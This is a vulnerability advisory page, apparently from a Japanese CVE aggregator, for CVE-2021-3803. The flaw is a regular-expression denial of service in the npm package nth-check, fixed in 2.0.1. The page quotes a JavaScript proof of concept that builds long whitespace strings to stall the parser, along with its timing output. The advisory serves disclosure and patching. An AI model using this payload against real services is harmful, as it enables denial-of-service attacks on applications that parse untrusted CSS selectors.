CVE-2021-3803
Inefficient Regular Expression Complexity in nth-check
概要
Inefficient Regular Expression Complexity in nth-check
原文の説明
取得元が公開している説明をそのまま載せています (多くは英語)。
There is a Regular Expression Denial of Service (ReDoS) vulnerability in nth-check that causes a denial of service when parsing crafted invalid CSS nth-checks.
The ReDoS vulnerabilities of the regex are mainly due to the sub-pattern \s*(?:([+-]?)\s*(\d+))? with quantified overlapping adjacency and can be exploited with the following code.
Proof of Concept
// PoC.js
var nthCheck = require("nth-check")
for(var i = 1; i <= 50000; i++) {
var time = Date.now();
var attack_str = '2n' + ' '.repeat(i*10000)+"!";
try {
nthCheck.parse(attack_str)
}
catch(err) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
}
}
The Output
attack_str.length: 10003: 174 ms
attack_str.length: 20003: 1427 ms
attack_str.length: 30003: 2602 ms
attack_str.length: 40003: 4378 ms
attack_str.length: 50003: 7473 ms
出典: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV
影響パッケージ
npm
nth-check
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.1"}]}]
ディストリビューション別の修正状況
各ディストリビューションが公開している、この CVE の修正パッケージ
- Debian DEBIAN-CVE-2021-3803 node-nth-check 修正版: 2.0.1-1
参照URL
- advisory nvd.nist.gov
- package github.com
- web github.com
- web huntr.dev
- web lists.debian.org